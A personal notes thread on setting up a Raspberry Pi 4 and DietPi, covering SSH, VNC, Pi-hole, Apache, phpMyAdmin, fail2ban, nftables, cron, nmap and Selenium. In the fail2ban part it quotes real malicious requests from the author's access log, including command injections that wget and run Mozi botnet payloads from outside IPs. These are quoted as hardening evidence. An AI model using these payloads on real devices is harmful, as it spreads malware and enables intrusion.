setup raspberry pi 4

[Costas]

Download x64 with Desktop (2022-09-22-raspios-bullseye-arm64.img.xz) - btw the Raspberry Pi Desktop (4gb) variant is for PC & MAC.

alternative

• DietPi OS is plain CLI offers ready packages for use, see DietPi-Software [2], has also Amiberry variant aka Amiga emulator.
• YunoHost - democratize self-hosting.
• nextcloudpi | owncloud
• Kali Pi [2] (includes MetaSploit application)
• awesome RaspberryPi

Use Imager v1.7.3

use PUTTYGEN.EXE to generate the SSH private / public / authorized keys, by following the instructions How to Setup Raspberry Pi SSH Keys for Authentication

by enabling the Set username and password on Imager^ the default user pi will not be created.

with PUTTYGEN we generated

• authorized keys ( used only on Imager^ )
• public/private keys
• ssh alias (key comment)
• ssh passphrase

those will be used on next steps.


The 30gb SD Card after 'creation' operation (btw - buy a microSD Class10 type)

---

the device is here! you need to have the following :

• raspberry device
• raspberry power adapter
• case
• lan cable
• ( in case of a problem ) mini HDMI cable / spare mouse / hdmi monitor, no keyboard!

1- plug the power, boot to OS, do an update, reboot the device

sudo apt-get update
sudo apt-get upgrade

2- find the raspberry IP from your router

or execute

ifconfig

3- on windows side, run PUTTY.EXE input the private key under Connection > SSH > Auth > Credentials

and on Session write the raspberry IP you got from router

(1) select the default settings, (2) click save, (3) click open..

install RealVNC server through PuTTY

#install RealVNC server
sudo apt update
sudo apt install realvnc-vnc-server

#enable VNC > Interfacing Options > VNC › Yes
sudo raspi-config

install RealVNC viewer on Windows, you only need these files ( download extract&use or download official installer )

on first run will ask to connect online etc, press close or try to login (will fail due firewall) then the dialog closes (no need to have online account).

create a new connection

connect first time

input raspberry credentials

WinSCP access

use raspberry user credentials for SFTP + click the Advanced button

goto SSH > Authentication and set the private key file (use PuTTY)

​

click Login incase incase 'passphrase' defined

Cute, we have access :
SSH / SFTP
VNC

is time to unplug the mouse + hdmi monitor from raspberry ah?

but first we will make static the IP via

or in case needed to adjust by PuTTY

#https://raspberrypi-guide.github.io/networking/set-up-static-ip-address
#find the network interface name (Iface)
netstat -nr
#edit
sudo nano /etc/dhcpcd.conf
# 192.x.x.x - raspberry IP
# 192.168.1.1 - your router IP
interface eth0
inform 192.x.x.x
static routers=192.168.1.1
static domain_name_servers=192.168.1.1

reference
raspberrypi - Introduction to Remote Access++ (github)
The Raspberry Pi Guide
ssh-keygen / OpenSSH & PuTTY keys comparison
1st setup no monitor + install double commander

---

commands

#see network info
netstat -nr
ifconfig

#Pi ARM CPU temperature -- https://www.cyberciti.biz/faq/linux-find-out-raspberry-pi-gpu-and-arm-cpu-temperature-command/
cpu=$(</sys/class/thermal/thermal_zone0/temp)
echo "$((cpu/1000)) c"

#GPU temperature
vcgencmd measure_temp

# memory status - Free vs Available https://haydenjames.io/free-vs-available-memory-in-linux/
free -m

# list all process
#https://geek-university.com/list-running-processes/
#https://sites.google.com/site/petersraspi/learning-linux-1/showallrunningprocessesinraspbian
top

#lists active services running on ports
sudo lsof -iTCP -sTCP:LISTEN -P

commands2

#prevent package to be updated / upgraded - https://askubuntu.com/a/18656
sudo apt-mark hold xxx

#restart an application
sudo systemctl restart xxx

#list folder contents - https://www.tecmint.com/15-basic-ls-command-examples-in-linux/
ls -l
ls -lh //shows sizes formatted
ls -R -l //recursively

#create folder
mkdir xx
#the -p tag will create any directories in our path that doesn’t already exist
mkdir -p /home/pi/git/myFirstRepository

# remove a folder with all contents https://linuxhint.com/delete-a-folder-in-bash/
rm -rf xx

#view a text file
cat xx

#https://www.geeksforgeeks.org/od-command-linux-example/
#view as oct
od -c -tx1 xx
#view as hex
od -c -Ax -tx1 xx

#list of installed packages
apt list --installed
dpkg --get-selections

#list the manually installed packages in the Raspberry OS
apt-mark showmanual

#list of packages which are installed automatically on the Raspberry Pi OS
apt-mark showauto

#infromation of the package -- https://www.opentechguides.com/how-to/article/raspberry-pi/84/package-management.html
apt show apache2

#delete the cache files by /var/cache/apt/archives
sudo apt clean

#install synaptic app manager
sudo apt-get install synaptic

gitea vs gogs

gitea is a fork of gogs the reason gitea created /gogs mod start giving write permissions to more people/ source

doh, no I will not install mysql to use git..

#https://pimylifeup.com/raspberry-pi-git-server/ -- https://pimylifeup.com/raspberry-pi-gitea/
#https://docshield.kofax.com/RPA/en_US/11.0.0_qrvv5i5e1a/help/BestPracticesHelp/rpa_rlm_best_practices/c_initialize_bare.html
#install git if is not already in the system
sudo apt install git

#set your information
sudo git config user.name "name"
sudo git config --global user.email "the@email"

#make a folder to store the repos
sudo mkdir -p /home/git/example.git

#navigate to specific repo
cd /home/git/example.git

#init the repo
sudo git init --bare

#go back one dir and chown
cd ..
sudo chown -R pi example.git

#clone the repo
sudo git clone example.git
cd example

#done a dummy commit
sudo git commit --allow-empty -m 'initial commit'

#push to repo
sudo git push origin

#on windows side - clone the repo
#in case you have problem due SSH PuTTY private key read -- https://www.pipiscrew.com/threads/16486/post-50959
git clone pi@192.168.xxx.xxx:/home/git/example

#open your favorite gitGUI

Most probably I will turn it by default to headlessIOS, via installing the official Raspberry Pi OS Lite 289mb vs Raspberry Pi OS with desktop 783mb I have now...

restart / shutdown variants

#https://jamesjdavis.medium.com/how-to-restart-raspberry-pi-safely-and-quickly-488243907fa3
#reboot
sudo reboot
sudo shutdown -r now
sudo shutdown -r 10 # after 10 minutes
sudo init 6

#shutdown
sudo halt
sudo poweroff
sudo shutdown -h now
sudo shutdown -h 10 # after 10 minutes
sudo init 0

Pi-hole
installing was never easier

#https://docs.pi-hole.net/main/basic-install/
curl -sSL https://install.pi-hole.net | bash

it will ask

Select a privacy mode for FTL

yes log all.

It will ask for webserver aka Pi-hole control panel (will be available at http://pi.hole/admin), of course needed, to alter the black/white list domains.
It will ask for DNS server, choose OpenDNS.

after installation finished, goto your router control panel and set the raspberry IP as Primary DNS Server

​

you are done! reference [2]

Now, when browsing from Windows machine over your network, nothing appears to Pi-hole control panel (?)

ipconfig /renew
ipconfig /flushdns

will be fine!

PiHole Blocklists

Pi-hole FTL DNS uses the well-known relational database management system SQLite3 source

Do you want to run the Pi-hole server on another port ?

#https://raspberrypi.stackexchange.com/a/117849
cd etc/lighttpd

#edit the file (is empty by default)
sudo nano external.conf

#add
server.port := 8000

#save
#restart server
sudo systemctl restart lighttpd

restrict the logs for 5 days

# https://docs.pi-hole.net/ftldns/configfile/
# https://www.reddit.com/r/pihole/comments/s7u6ca/comment/htgvwmv/
# https://www.reddit.com/r/pihole/comments/g55b8p/comment/fo1fyqv/

# edit the
sudo nano /etc/pihole/pihole-FTL.conf

#paste
MAXDBDAYS=5

# restart the service
sudo service pihole-FTL restart

#------------------------

# apart from sqlite cleanup^ cleans also the log file
sudo nano /var/log/pihole/pihole.log

# empty log file - https://docs.pi-hole.net/core/pihole-command
pihole flush

Pi-hole coming with lighttpd for the webadmin panel, you can create a new folder myshare and enable the dir listing via :

# https://www.cyberciti.biz/faq/stop-lighttpd-server/
# https://www.cyberciti.biz/tips/howto-lighttpd-enable-disable-directory-listing.html
#make the new folder myshare
sudo mkdir =p /var/www/html/myshare

#edit config
sudo nano /etc/lighttpd/lighttpd.conf

#add this line
$HTTP["url"] =~ "^/myshare($|/)" { server.dir-listing = "enable" }

#restart
sudo /etc/init.d/lighttpd restart

#-----

# to write a file by PHP, the directory must belong to www-data, go one dir back by your_folder_name
# https://stackoverflow.com/a/11282294
sudo chown www-data your_folder_name
# **OR** the file must belong to www-data group

# (not tried) password protected directory
https://www.cyberciti.biz/tips/lighttpd-setup-a-password-protected-directory-directories.html

shodan - Test your IP for vulnerabilities
shodan - The Complete Guide, Featured on TryHackMe (2023) [ip2asn] [example https://www.shodan.io/search?query=asn:AS14061]
Block web scanners with ipset & iptables
Fixing slow Firefox loading when using Pi-Hole

setup fail2ban to lighttpd

# https://raspiblog.noblogs.org/post/2018/04/09/securing-lighttpd/
# https://www.digitalocean.com/community/tutorials/how-to-protect-an-apache-server-with-fail2ban-on-ubuntu-14-04

SSL - self-signed certificate - https://www.erikmoberg.net/article/self-hosting-your-website-on-a-raspberry-pi-zero

---

2022 - Raspberry Pi 4: Review
2020 - Checking Out Raspberry 4 Pi OS 64-Bit and Known issues
2019 - Raspberry Pi 4 launches with BCM2711
Raspberry Pi 4 B (Broadcom BCM2711) Benchmark, Test and specs
ARM and x86 Processor Cores


Edit file remotely
VSCode addon - Microsoft.Remote - SSH (using OpenSSH) (howto)

warning installing Visual Studio Code Server on remote machine​

VSCode addon - liximomo.SFTP (use OpenSSH) or other shits
Sublime Text addon - codex (use PuTTY), is commercial

​

Codelobster (using OpenSSH, no support for passphrase)


Using [rmate] on remote machine (which originally developed for TextMate (mac))
-Sublime Text with RemoteSubl addon
-VSCode addon Remote VSCode


VNC Softwares
domain created
(2001) TightVNC cross platform (due JAR) - setup - creates a completely new desktop, not attached to any actual screen.
(2002) RealVNC cross platform ( viewer for windows ) - Headless Raspberry Pi with VNC Connect
(2005) UltraVNC windows only

Firewalls
OpenSnitch is a GNU/Linux application firewall (raspberry supported) - blocks per application youtube
UFW Firewall on the Raspberry Pi - Firewall Rules
Portmaster - A New Era for Privacy - dont know if is raspberry compatible
OPNsense [2] | OpenWrt [2] | reference

Crontab
How to Add Jobs to Cron
Setup And Run PHP Script as a Cron Job
https://crontab.guru/
https://crontab-generator.org/
Cronjob for the First Monday of Every Month
(2023) Cron AI - Words to cron expression

PiHole - Youtube ad blocking
Is not ideal and not as good as running a proper ad blocker in a browser. Use uBlock Origin (chrome / firefox) alternative filters. source

• due the mechanism on how ads implemented the domains are not standard, updating all the time + a domain can serve ads and real videos.
• adblockers - blocking the needed html elements and javascripts that doing the ad mess, if you think it, is more harder (for G) to update the code than the domains (as easily can be dynamic by code).

---

ntfy - Send push notifications to your phone via PUT/POST
VSCodium on a Raspberry Pi
(2016) Create a hardened Raspberry Pi NAS++ (Optimize GPU memory-split + Docker)
An extensive tutorial on how to setup a Pi-Hole

Alternative Raspberry like devices
Raspberry Pi 5 vs Orange Pi 5 Plus vs Rock 5 Model B
Odroid XU4Q | Odroid - Go Ultra (Handheld Emulation System)
Orange Pi 800
Cool Pi 4
The Great Pi Zero Showdown
Lichee Pi 4a
LattePanda V1

 

[Costas]

Permissions ( chmod )

​

The structure of permissions column

to change permissions column you have to calculate (sum) what you need

#https://www.oreilly.com/library/view/running-linux-third/156592469X/ch04s14.html
#read permission for user
chmod 400 example.txt

#read permission for user + group
chmod 440 example.txt

#read + write + execute for all
chmod 777 example.txt

#change recursively the permissions for a folder to rwxr-xr-x
chmod -R 755 exampleDIR

there are these handy sites :
chmod cheatsheet
chmod calculator


Owner & Group ( chown )

#change owner and group
chown ravikumar:ravikumar Arkit2.txt

#change owner
chown root Arkit2.txt

#change group
chown :ravikumar Arkit5.txt

#change owner recursively
chown -R pi exampleDIR

Group Misc Functions

# list user groups
groups pi

# add user to the www-data group -- https://www.cyberciti.biz/faq/ubuntu-add-user-to-group-www-data/
usermod -a -G www-data pi

 

[Costas]

DEB - use armhf for ARMv7 (32-bit) and arm64 for ARMv8 (64-bit)

ref
https://linuxhint.com/install-deb-file-raspberry-pi/
https://chipwired.com/install-deb-file-raspberry-pi/
https://linuxhint.com/about-arm64-armel-armhf/

---

Raspberry Pi OS 32-bit vs 64-bit Performance

The Making of (Raspberry) Pi

Raspberry Pi shortage drives Enthusiasts to turn to used thin-client PCs

 

[Costas]

Raspberry Pi is manufacturing 70K Raspberry Pi 5s per week

https://www.tomshardware.com/raspbe...i-5s-per-week-will-surge-to-90000-in-february

Got a spare Pi 1/2/3? Try RISC OS Open 5,30 It is, literally, something else
https://www.theregister.com/2024/05/02/rool_530_is_here/

 

[Costas]

Oracle Linux for Raspberry Pi
https://www.oracle.com/linux/downloads/linux-arm-downloads.html

 

[Costas]

homepage | installation

at the time writing the image is 851mb, when burned is 44444444.

Using the Balena Etcher, an Electron application using a native executable called etcher-util.exe to burn the image.

After download & burn the image to USB, access USB root folder (might needed to unplug&plug the device) and found the dietpi.txt. Here we will make some modifications.

alter

alter according the corresponding links in dietpi.txt
AUTO_SETUP_TIMEZONE // https://en.wikipedia.org/wiki/List_of_tz_database_time_zones
AUTO_SETUP_NET_WIFI_COUNTRY_CODE // https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2

AUTO_SETUP_NET_USESTATIC=1 //force static
AUTO_SETUP_NET_STATIC_IP=192.168.1.155 //the device IP
AUTO_SETUP_NET_STATIC_MASK=255.255.255.0
AUTO_SETUP_NET_STATIC_GATEWAY=192.168.1.1 //router IP
AUTO_SETUP_NET_STATIC_DNS=208.67.222.222 208.67.220.220 //DNS server, here chosen OpenDNS | https://www.publicdns.xyz/

AUTO_SETUP_NET_HOSTNAME=DietPi //restyle as needed

AUTO_SETUP_HEADLESS=1

AUTO_SETUP_SSH_SERVER_INDEX=-2 //use OpenSSH which allows also SFTP, Dropbear doesnt | https://dietpi.com/docs/software/ssh/#openssh-access-to-the-ssh-server

//leave it remarked - see below in red - 'for key generation see at paragraph" (after you login with root & your password)
;AUTO_SETUP_SSH_PUBKEY=ssh-ed25519 AAAAAAAA111111111111BBBBBBBBBBBB222222222222cccccccccccc333333333333 mySSHkey

AUTO_SETUP_BROWSER_INDEX=0

AUTO_SETUP_GLOBAL_PASSWORD=dietpi //restyle as needed, or leave the line remarked, you will be asked to reset on installation

SURVEY_OPTED_IN=0 //optout

CONFIG_CHECK_DIETPI_UPDATES=0
CONFIG_CHECK_APT_UPDATES=0

CONFIG_SERIAL_CONSOLE_ENABLE=0 //you will not be able to access the DietPi system through a serial connection using a serial cable

for key generation see at paragraph simple generation of key pair with ssh-keygen and set public key to server.

plug the SDCard and power cable, use Nirsoft.Wireless Network Watcher to verify when the device will be online (will take ~8sec)

open cmd or powershell and type

ssh 192.168.1.155 //or whatever IP you see on Nirsoft application

execute

dietpi-software​

mark the needed

go back and ask for install

browsing by PC

if needed to run on different port

#Apache config - alter Listen line
sudo nano /etc/apache2/ports.conf

#Virtual host config - - alter VirtualHost *:
sudo nano /etc/apache2/sites-available/000-default.conf

#restart Apache service
sudo systemctl restart apache2

using WinSCP, we can browse the DietPi space.

#in case needed to login with dietpi and not root
chown dietpi -R /var/www

#unzip
sudo unzip test.zip

installing phpmyadmin by dietpi-software - OK
browsing phpmyadmin gives error, fix with :

#find where is the php.ini, by creating the a.php has <?php phpinfo(); ?>
sudo nano /etc/php/8.2/fpm/php.ini
# set the --> disable_functions = exec,system,passthru,popen,proc_open,shell_exec
# unremark --> session.save_path = "/var/lib/php/sessions"
# enable modules --> curl / fileinfo / gd / gettext / intl / mbstring / exif / mysqli / pdo_mysql / pdo_sqlite

sudo chmod 700 /var/lib/php/sessions/
sudo chown -R www-data:www-data /var/lib/php/sessions
sudo find / -name config.inc.php #find phpmyadmin config file across whole disk
sudo nano /var/www/phpmyadmin/config.inc.php # add after the /declare(strict_types=1);/  --> $cfg['SessionSavePath'] = '/var/lib/php/sessions';
sudo systemctl restart php8.2-fpm
sudo systemctl restart apache2

login to http://192.168.1.155/phpmyadmin

Username = phpmyadmin
Password = The same as your root login password, default is dietpi (source)

user can use also this cmd to see the users with password in MD5 format

mysql -e "SELECT User,Password, Host FROM mysql.user;"

Enable apache rewrite

#see if rewrite exists to apache
apache2ctl -M | grep rewrite

#if there is no output, it means that mod_rewrite is not enabled. Enable it via :
sudo a2enmod rewrite
sudo systemctl restart apache2

#then you have to edit Apache config
sudo nano /etc/apache2/apache2.conf
#at <Directory /var/www/> tag set 'AllowOverride All'

Restore database via CLI

mysql -u root -p

CREATE DATABASE my_database;
USE my_database;

SOURCE /var/www/test.sql
exit
alternative not tried mysql -u root -p database_name < /path/to/your/file.sql

then create a new user and give full privileges to this database

mysql -u root -p
CREATE USER '#user#'@'localhost' IDENTIFIED BY '#password#';
GRANT ALL PRIVILEGES ON #dbaseNAME#.* TO '#user#'@'localhost';
# server GRANT ALL PRIVILEGES ON *.* TO 'username'@'localhost' IDENTIFIED BY 'password' WITH GRANT OPTION;
exit

dont forget all files & folders in /var/www must be under www-data

sudo chown -R www-data:www-data /var/www

Xenforo
if getting error to establish connection with database turn to debug mode by

adding in src/config.php -- $config['debug'] = true;

when transfer Xenforo to Raspberry you have to

on Admin ControPanel search for homePageUrl
or
setup > options > Board URL > http://192.168.1.155:8080
[SAVE]

//https://xenforo.com/community/threads/change-domain-name.52632/post-1443889
then tools > rebuild caches > Rebuild forums | Rebuild threads | Rebuild search index | Rebuild sitemap (?)

alternative go to dbase
SELECT * FROM `xf_option` WHERE option_value like '%pipiscrew%';

--

UPDATE xf_option SET option_value = REPLACE(option_value, 'http://aaa.com', 'http://bbb.com');
UPDATE xf_post SET message = REPLACE(message, 'http://aaa.com', 'http://bbb.com');
UPDATE xf_thread SET title = REPLACE(title, 'http://aaa.com', 'http://bbb.com');
UPDATE xf_attachment SET file_hash = REPLACE(file_hash, 'http://aaa.com', 'http://bbb.com');

--
https://xfpoint.com/guides/move-xenforo-new-domain/
reset Xenforo v2.x admin password (tested&working) - https://xenforo.com/community/threads/password-reset-query.25632/

Apache - enable logging for VirtualHost

sudo nano /etc/apache2/sites-available/000-default.conf

<VirtualHost *:8080>
        ServerName 192.168.1.155
        # Log file location
        CustomLog ${APACHE_LOG_DIR}/access.log common
        ErrorLog ${APACHE_LOG_DIR}/error.log
</VirtualHost>

# if you want to disable log rotation, remark all lines at
sudo nano /etc/logrotate.d/apache2

sudo systemctl restart apache2
--browse the site--
sudo nano /var/log/apache2/access.log

after enable logging working ok, but seems that after some time, gets cleared...

cause : OS has mounted /var/log as tmpfs ( the log directory is being stored in memory (RAM) rather than on a physical disk ), to fix that :

mkdir /var/myLogs
sudo chown -R www-data:www-data /var/myLogs

# fix the location to new directory
sudo nano /etc/apache2/sites-available/000-default.conf
<VirtualHost *:8080>
        ServerName 192.168.1.155
        # Log file location
        CustomLog /var/myLogs/access.log common
        ErrorLog /var/myLogs/error.log
</VirtualHost>

sudo systemctl restart apache2

pdo_sqlite

# pdo_sqlite relies on sqlite3
sudo apt install php8.2-sqlite3

# enable on /etc/php/8.2/fpm/php.ini
extension=pdo_sqlite

#restart
sudo systemctl restart php8.2-fpm
sudo systemctl restart apache2

# dont forget the 'dbase file' must be under 'www-data', here doing all files&folders at 'apps' folder recursively.. (manually add permissions 600)
sudo chown -R www-data:www-data /var/www/apps

# install & run sqlite3 CLI to manipulate dbase files (no required for web server)
sudo apt install sqlite3
sqlite3

# open dbase
.open /var/www/appslocal/dbase.db

# show tables
.tables

# always add semicolon at end
select * from products;

#exit cli
.exit

you all set!

other commands used in the session

# open a new shell with root (superuser) privileges
sudo -i

#rename file
mv old_filename new_filename

#delete zip files from the dir
rm *.zip

#create directory
sudo mkdir tmp

#make file executable
chmod +x testAppImage

#restart services
sudo systemctl restart php8.2-fpm
sudo systemctl restart apache2

#create file and edit
sudo touch a.html
sudo nano a.html

#file permissions
sudo chmod 700 /var/lib/php/sessions/

#file owner
sudo chown yourusername -R /var/www[

#extract tar
tar -xvzf test.tar.gz

#extract gzip
gzip -d filename.gz

#zip folder
sudo apt install zip
zip -r my_folder.zip my_folder

#7zip install & extract
sudo apt install p7zip-full
7z x yourfile.7z

#copy files&folders and overwrite to destination directory
cp -rf /source/directory/* /destination/directory/

#cron jobs of all users on a machine - https://ittavern.com/cron-jobs-on-linux-comprehensive-guide/
grep "^[^#;]" /var/spool/cron/crontabs/* /etc/crontab /etc/cron.d/*

# In terminal emulator, pressing Esc followed by Backspace can delete the entire line. The CTRL+U also doing the same.
# In terminal emulator, pressing CTRL + L clears the screen, pressing again CTRL+L delete also the history.

# see also https://www.snort.org/
# ----------------------------------------------------- fail2ban -----------------------------------------------------
# you must install python3-systemd
sudo apt install python3-systemd

# -y is used to automatically answer "yes" to any prompts
sudo apt install fail2ban -y
Created symlink /etc/systemd/system/multi-user.target.wants/fail2ban.service → /lib/systemd/system/fail2ban.service.

# Copy the default configuration file to a new file
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

# edit the config file
sudo nano /etc/fail2ban/jail.local

# fix the apache log path of apache + enable it + set backend
[apache-auth]
backend=systemd
enabled = true
port     = http,https
logpath  = /var/myLogs/error.log

[apache-badbots]
backend=systemd
enabled = true
port     = http,https
logpath  = /var/myLogs/access.log
bantime  = 48h
maxretry = 1

[apache-noscript]
backend=systemd
enabled = true
port     = http,https
logpath  = /var/myLogs/error.log

[apache-overflows]
backend=systemd
enabled = true
port     = http,https
logpath  = /var/myLogs/error.log
maxretry = 2

[apache-nohome]
backend=systemd
enabled = true
port     = http,https
logpath  = /var/myLogs/error.log
maxretry = 2

[apache-botsearch]
backend=systemd
enabled = true
port     = http,https
logpath  = /var/myLogs/error.log
maxretry = 2

[apache-fakegooglebot]
backend=systemd
enabled = true
port     = http,https
logpath  = /var/myLogs/access.log
maxretry = 1
ignorecommand = %(fail2ban_confpath)s/filter.d/ignorecommands/apache-fakegooglebot <ip>

[apache-modsecurity]
backend=systemd
enabled = true
port     = http,https
logpath  = /var/myLogs/error.log
maxretry = 2

[apache-shellshock]
backend=systemd
enabled = true
port    = http,https
logpath = /var/myLogs/error.log
maxretry = 1

# misc
sudo systemctl restart fail2ban
sudo systemctl status fail2ban
sudo fail2ban-client status
sudo nano /var/log/fail2ban.log

# check specific jail
sudo fail2ban-client status apache-auth

sudo nano /etc/fail2ban/jail.d/defaults-debian.conf
sudo nano /etc/fail2ban/filter.d/apache-auth.conf
sudo nano /etc/fail2ban/jail.local

sudo nano /var/myLogs/access.log
sudo nano /var/myLogs/error.log

so after a week, looking on apache logs (access.log), there were a bunch of vulnerability scanners, totally collect 68 IPs and it still growing

some of the requests :
"GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://220.158.159.187:33641/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron HTTP/1.0" 404 23233
"GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 404 23173
"POST /goform/set_LimitClient_cfg HTTP/1.1" 400 392
"fox a 1 -1 fox hello\n" 400 392
"GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.82.120.118/1/1.sh;+chmod+777+1.sh;+./1.sh;`) HTTP/1.1" 404 23344
"CONNECT codeforces.com:443 HTTP/1.1" 404 23213
"\x16\x03\x01" 400 392
"GET /solr/admin/info/system HTTP/1.1" 404 23224
"GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 23223
"GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 23221
"GET /v2/_catalog HTTP/1.1" 404 23213
"GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 404 23244
"GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://112.31.180.128:38827/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 23300
"GET /actuator/health HTTP/1.1" 404 7889
"\x16\x03\x01\x01$\x01" 400 392
"\x03" 400 392
"\x16\x03\x01\x01\xfb\x01" 400 392
"GET /hudson HTTP/1.1" 404 7884
"GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 21612
"PRI * HTTP/2.0" 400 392
"GET /actuator/gateway/routes HTTP/1.1" 404 7923
"MGLNDD_xxxxx_8080\n" 400 392

nftables - add firewall to block specific IPs (successor to the iptables, ip6tables, arptables, ebtables, and ipset utilities)

# install nftables vs iptables - see more https://tuxcare.com/blog/iptables-vs-nftables-in-linux-what-is-the-difference/ - https://is.gd/YX8cLX
sudo apt install nftables

# ensuring it starts automatically at boot
sudo systemctl enable nftables

# creates a new *table* named filter in the ip family, which is used for managing IPv4 packet filtering rules
#sudo nft add table ip filter
# adds a new *chain* named input to the filter table
#sudo nft 'add chain ip filter input { type filter hook input priority 0; }'

# have a file called 'a.txt' has all the ips needed (per line) to BAN
# create a file called 'addips.sh' contains :
while read -r ip; do
    sudo nft add rule inet filter input ip saddr $ip drop
done < a.txt

# make addips.sh executable
chmod +x addips.sh

# exec addips.sh
./addips.sh

# save to default config file ( configuration always lives in memory (will lost on restart) to avoid misconfigurations, once user validate it store it to config file )
sudo nft list ruleset > /etc/nftables.conf

# load the config file as the active ruleset ( nothing done automatically ) - ALWAYS FLUSH first!!!!!!!!!
sudo nft flush ruleset
sudo nft -f /etc/nftables.conf

#misc
# configuration - https://wiki.nftables.org/wiki-nftables/index.php
# see sample configuration at https://www.datapacket.com/blog/securing-your-server-with-nftables
sudo nano /etc/nftables.conf
nft list ruleset # current active ruleset ( by default lists nftables.conf, in case user, add rule will be overwrite the active ruleset )

# examples - see workstation
cd /usr/share/doc/nftables/examples/
sudo nano /usr/share/doc/nftables/examples/workstation.nft

# start the nftables service
sudo systemctl start nftables

# check the status of the nftables service
sudo systemctl status nftables

# sets the entire firewall configuration to a clean state (remove all existing rules, chains, and tables)
nft flush ruleset

#samples of nftables.conf rule
#ip saddr 184.105.139.0/24 drop #all addresses from 184.105.139.0 to 184.105.139.255
#ip saddr 157.66.27.45 drop #single IP

#fail2ban with nftables
https://wiki.meurisse.org/wiki/Fail2Ban

tmux - multiple terminal sessions

# install terminal multiplexer
sudo apt install tmux

# add mouse support, by creating '.tmux.conf'
sudo nano ~/.tmux.conf
# add & save
set -g mouse on
set-option -g set-clipboard on

# init tmux (you will have a green bar on bottom) :
tmux

# when into tmux press CTRL+B release both keys and press c
# now you got new session of tmux
# the active session has an asterisk on name
# switch between sessions by pressicng CTRL+B release 0 or 1 or n

# example open nano
sudo nano /var/myLogs/access.log

# select text by mouse and press right click
# switch to session 1 press mouse right click

# to exit a session exec exit ;)

# stop the nftables service
sudo systemctl stop nftables

# prevent nftables from starting automatically on boot,
sudo systemctl disable nftables

# check the status of the nftables service
sudo systemctl status nftables

use the awesome Midnight Commander
sudo apt install mc

crontab

# User Crontab   - /var/spool/cron/crontabs/username - each user has his own cronjobs
# System Crontab - /etc/crontab
# Cron.d Directory - Additional cron jobs can be placed in files within /etc/cron.d/
# edit  the file that contains the cron jobs
crontab -e

# add a line (this is will executed every minute) and export log to specified path
# always needs an empty line in the end of the file
* * * * * /usr/bin/php /var/www/test.php >> /var/myLogs/cron.log 2>&1

# lists the cron jobs by reading the file used with '-e' parameter
crontab -l

# see status
sudo systemctl status cron

# cron job example call with curl ( and not php cli ) and write the result to /tmp/cron_test.log
0 7 * * * /usr/bin/curl "http://localhost:8080/apps/index.php/?test=1" >> /tmp/cron_test.log
# access subdomain 0 7 * * * /usr/bin/curl "http://offers.83u4283274.xyz/?test=1"

# good idea on errors to check apache error.log, while you have enabled on php.ini
display_errors = On
display_startup_errors = On

scan IP for open ports

sudo apt install nmap
sudo nmap -sC -sV -Pn -n -p- targetIP --open --min-rtt-timeout 500ms --min-rate 2000
# or sudo nmap -sS -Pn -T5 -p- targetIP
# or sudo nmap -sC -sV -Pn -n -p- targetIP --open

alternative
https://github.com/RustScan/RustScan
https://github.com/robertdavidgraham/masscan

ref - https://www.reddit.com/r/tryhackme/comments/1alan6y/fast_way_to_scan_all_ports_using_nmap/

headless chromedriver with Selenium on headless DietPi

# install chromedriver
sudo apt-get install chromium-chromedriver

# whereis chromedriver
# chromedriver: /usr/bin/chromedriver

# install pip for python3
sudo apt install python3-pip

# install selenium
sudo apt install python3-selenium

# create a python script
sudo nano test.py

#execute test.py
python3 test.py

#the sample script
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, WebDriverException
import time

# Specify the path to the ChromeDriver executable
chrome_driver_path = '/usr/bin/chromedriver'

# Create a Service object for ChromeDriver
service = Service(chrome_driver_path)

# Set up Chrome options for headless mode
chrome_options = Options()
chrome_options.add_argument("--headless")  # Run in headless mode
chrome_options.add_argument("--no-sandbox")  # Bypass OS security model
chrome_options.add_argument("--disable-dev-shm-usage")  # Overcome limited resource problems

try:
    # Initialize the Chrome WebDriver with the Service object and options
    driver = webdriver.Chrome(service=service, options=chrome_options)

    # Open a webpage
    driver.get("https://www.ab.gr/el/eshop/Oporopoleio/Lachanika/Chorta/Pantzaria-ston-Atmo-Viologika-Eisagogis-500g/p/7650216")

    page_source = driver.page_source
    file_path = 'web_response.html'

    # Write page response to file
    with open(file_path, 'w', encoding='utf-8') as file:
       file.write(page_source)

    # Wait for the search box to be present and interactable
#    search_box = WebDriverWait(driver, 10).until(
#        EC.element_to_be_clickable((By.NAME, "q"))
#    )
    promotion_label_element = WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.CSS_SELECTOR, '[data-testid="promotion-label-component"]'))
    )

    # Locate the parent element using its data-testid
    parent_element = driver.find_element("css selector", '[data-testid="promotion-label-component"]')

    # Now find the child elements within the parent element
    hi1_element = parent_element.find_element("css selector", '[data-testid="tag-label"]')
    hi2_element = parent_element.find_element("css selector", '[data-testid="tag-promo-expiration-date"]')
    # Get the text of the child elements
    hi1_text = hi1_element.text
    hi2_text = hi2_element.text

    # Print the texts
    print("hi1:", hi1_text)
    print("hi2:", hi2_text)


    # Type a search term and hit Enter
    search_box.send_keys("Selenium Python")
    search_box.send_keys(Keys.RETURN)

    # Wait for a few seconds to see the results
    time.sleep(5)

except TimeoutException:
    print("The button did not become clickable in time.")
except WebDriverException as e:
    print("WebDriverException occurred:", e)
except Exception as e:
    print("An unexpected error occurred:", e)
finally:
    # Close the browser
    driver.quit()

ref - https://www.youtube.com/watch?v=tRNwTXeJ75U

headless chromium with Playwright on headless DietPi

# The chromedriver is for Selenium (open source), which is a different library and not related to Playwright (microsoft).

# install browsers dependency ( outside virtual environment )
sudo apt-get install -y \
    libgstreamer1.0-0 \
